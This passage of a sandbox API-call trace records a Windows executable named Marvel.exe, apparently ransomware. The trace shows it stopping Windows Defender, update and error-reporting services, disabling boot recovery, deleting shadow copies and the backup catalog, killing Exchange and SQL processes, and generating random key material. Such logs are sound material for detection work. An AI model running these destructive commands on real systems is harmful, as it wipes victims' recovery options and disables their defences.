out: hHeap=0x540000) returned 1 [0041.404] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop wscsvc", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop wscsvc", lpProcessInformation=0x18fd7c*(hProcess=0x124, hThread=0xfc, dwProcessId=0xcdc, dwThreadId=0xce0)) returned 1 [0041.414] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop WinDefend", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop WinDefend", lpProcessInformation=0x18fd7c*(hProcess=0x298, hThread=0x300, dwProcessId=0xce4, dwThreadId=0xce8)) returned 1 [0041.418] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop wuauserv", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop wuauserv", lpProcessInformation=0x18fd7c*(hProcess=0x2cc, hThread=0x2c8, dwProcessId=0xcec, dwThreadId=0xcf0)) returned 1 [0041.422] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop BITS", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop BITS", lpProcessInformation=0x18fd7c*(hProcess=0x144, hThread=0x13c, dwProcessId=0xcf4, dwThreadId=0xcf8)) returned 1 [0041.789] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop ERSvc", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop ERSvc", lpProcessInformation=0x18fd7c*(hProcess=0x138, hThread=0x314, dwProcessId=0xd18, dwThreadId=0xd1c)) returned 1 [0041.793] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="sc stop WerSvc", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="sc stop WerSvc", lpProcessInformation=0x18fd7c*(hProcess=0x1fc, hThread=0x304, dwProcessId=0xd20, dwThreadId=0xd24)) returned 1 [0041.796] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x46) returned 0x28d34d8 [0041.796] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6051d8 | out: hHeap=0x540000) returned 1 [0041.796] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x68) returned 0x607370 [0041.796] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d34d8 | out: hHeap=0x540000) returned 1 [0041.796] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9a) returned 0x5e3998 [0041.796] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x607370 | out: hHeap=0x540000) returned 1 [0041.796] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c bcdedit /set {default} recoveryenabled No", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="cmd.exe /c bcdedit /set {default} recoveryenabled No", lpProcessInformation=0x18fd7c*(hProcess=0x2fc, hThread=0x2c4, dwProcessId=0xd28, dwThreadId=0xd2c)) returned 1 [0041.802] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpProcessInformation=0x18fd7c*(hProcess=0x2c0, hThread=0x2bc, dwProcessId=0xd30, dwThreadId=0xd34)) returned 1 [0041.807] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="cmd.exe /c vssadmin delete shadows /all /quiet", lpProcessInformation=0x18fd7c*(hProcess=0x2b4, hThread=0x2b8, dwProcessId=0xd38, dwThreadId=0xd3c)) returned 1 [0041.813] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c wmic shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="cmd.exe /c wmic shadowcopy delete", lpProcessInformation=0x18fd7c*(hProcess=0x290, hThread=0x2ac, dwProcessId=0xd40, dwThreadId=0xd44)) returned 1 [0041.818] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd.exe /c wbadmin delete catalog -quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="cmd.exe /c wbadmin delete catalog -quiet", lpProcessInformation=0x18fd7c*(hProcess=0x2a8, hThread=0x2a0, dwProcessId=0xd48, dwThreadId=0xd4c)) returned 1 [0042.309] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="taskkill /f /im MSExchange*", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="taskkill /f /im MSExchange*", lpProcessInformation=0x18fd7c*(hProcess=0x2a4, hThread=0x30c, dwProcessId=0xd50, dwThreadId=0xd54)) returned 1 [0042.482] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="taskkill /f /im Microsoft.Exchange.*", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="taskkill /f /im Microsoft.Exchange.*", lpProcessInformation=0x18fd7c*(hProcess=0x308, hThread=0x2f8, dwProcessId=0xd90, dwThreadId=0xd94)) returned 1 [0042.501] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="taskkill /f /im sqlserver.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="taskkill /f /im sqlserver.exe", lpProcessInformation=0x18fd7c*(hProcess=0x188, hThread=0x194, dwProcessId=0xd98, dwThreadId=0xd9c)) returned 1 [0042.527] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="taskkill /f /im sqlwriter.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd38*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd7c | out: lpCommandLine="taskkill /f /im sqlwriter.exe", lpProcessInformation=0x18fd7c*(hProcess=0x284, hThread=0x24c, dwProcessId=0xda0, dwThreadId=0xda4)) returned 1 [0042.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5d5558 [0042.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb4c8 [0042.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5d5558 | out: hHeap=0x540000) returned 1 [0042.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe6) returned 0x28d14a8 [0042.844] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0042.844] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x158) returned 0x5f38b0 [0042.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x202) returned 0x562400 [0042.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f38b0 | out: hHeap=0x540000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x968) returned 0x5d7108 [0042.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf08 | out: hHeap=0x540000) returned 1 [0042.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562400 | out: hHeap=0x540000) returned 1 [0042.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb4c8 | out: hHeap=0x540000) returned 1 [0042.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5da330 | out: hHeap=0x540000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x260) returned 0x28d1d98 [0042.845] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28d1d98, nSize=0x12c | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Marvel.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\marvel.exe")) returned 0x38 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x260) returned 0x28d5508 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9350 [0042.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5508 | out: hHeap=0x540000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4d18 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9218 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5d5558 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x599fa8 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5d5580 [0042.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5d5558 | out: hHeap=0x540000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5900 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb4c8 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5a60 [0042.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x599fa8 | out: hHeap=0x540000) returned 1 [0042.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5900 | out: hHeap=0x540000) returned 1 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5900 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x48) returned 0x28d34d8 [0042.845] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5ab8 [0042.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb4c8 | out: hHeap=0x540000) returned 1 [0042.845] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5900 | out: hHeap=0x540000) returned 1 [0042.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5d5558 [0042.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d92e8 [0042.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5d55d0 [0042.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d34d8 | out: hHeap=0x540000) returned 1 [0042.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5d5558 | out: hHeap=0x540000) returned 1 [0042.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5d5558 [0042.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x28d5e30 [0042.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603bd0 [0042.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d92e8 | out: hHeap=0x540000) returned 1 [0042.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5d5558 | out: hHeap=0x540000) returned 1 [0042.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5900 [0042.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5b10 [0042.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5900 | out: hHeap=0x540000) returned 1 [0042.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5900 [0042.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd8) returned 0x28d14a8 [0042.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5b68 [0042.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5e30 | out: hHeap=0x540000) returned 1 [0042.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5900 | out: hHeap=0x540000) returned 1 [0042.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5d5558 [0042.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603c98 [0042.846] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5d5558 | out: hHeap=0x540000) returned 1 [0042.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20023) returned 0x60c988 [0042.848] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x60c9a0, nSize=0xffff | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0042.848] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d92e8 [0042.848] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d94f0 [0042.848] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x138) returned 0x608ab8 [0042.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0042.848] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db210 [0042.848] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5900 [0042.848] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5958 [0042.848] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5a08 [0042.848] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c8) returned 0x562c90 [0042.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0042.849] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5bc0 [0042.849] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c18 [0042.849] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18fc98, nSize=0x32 | out: lpBuffer="C:") returned 0x2 [0042.849] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x5d5558 [0042.849] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603cc0 [0042.849] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603ce8 [0042.849] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a0) returned 0x28d5508 [0042.849] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562c90 | out: hHeap=0x540000) returned 1 [0042.849] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb4c8 [0042.849] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603d10 [0042.849] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x60c988 | out: hHeap=0x540000) returned 1 [0042.849] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5eb960 [0042.849] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d8fa8 [0042.849] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0042.849] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x124fa3) returned 0x3650020 [0042.849] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562400 [0042.850] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x130) returned 0x608ab8 [0042.850] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603d38 [0042.851] CryptAcquireContextA (in: phProv=0x18fc98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18fc98*=0x607370) returned 1 [0042.869] CryptGenRandom (in: hProv=0x561dd0, dwLen=0x20, pbBuffer=0x603d38 | out: pbBuffer=0x603d38) returned 1 [0042.869] CryptReleaseContext (hProv=0x607370, dwFlags=0x0) returned 1 [0042.875] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603d38 | out: hHeap=0x540000) returned 1 [0042.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603d38 [0042.875] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x608f00 [0042.875] QueryPerformanceCounter (in: lpPerformanceCount=0x18fbf0 | out: lpPerformanceCount=0x18fbf0*=18474611250) returned 1 [0042.878] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fc30 | out: lpSystemTimeAsFileTime=0x18fc30*(dwLowDateTime=0xaa3a6a60, dwHighDateTime=0x1d5e09d)) [0042.881] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5eb960 [0042.881] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x599fa8 [0042.881] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0042.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0042.884] GetLastError () returned 0x0 [0042.884] SetLastError (dwErrCode=0x0) [0042.884] GetLastError () returned 0x0 [0042.884] SetLastError (dwErrCode=0x0) [0042.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x599fa8 | out: hHeap=0x540000) returned 1 [0042.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0042.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0042.884] GetLastError () returned 0x0 [0042.884] SetLastError (dwErrCode=0x0) [0042.884] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0042.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0042.884] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9420 [0043.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603d60 [0043.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x606890 [0043.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0043.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603d88 [0043.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0043.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0043.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603db0 [0043.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0043.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0043.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x579388 [0043.131] GetLastError () returned 0x0 [0043.131] SetLastError (dwErrCode=0x0) [0043.131] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0043.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x603e00 [0043.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x603e28 [0043.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdd8 [0043.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0043.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bde8 [0043.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0043.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0043.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bde8 | out: hHeap=0x540000) returned 1 [0043.134] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdd8 | out: hHeap=0x540000) returned 1 [0043.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdd8 [0043.134] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5f4c58 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdd8 | out: hHeap=0x540000) returned 1 [0043.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5f4c70 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0043.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0043.135] RtlAllocateHeap 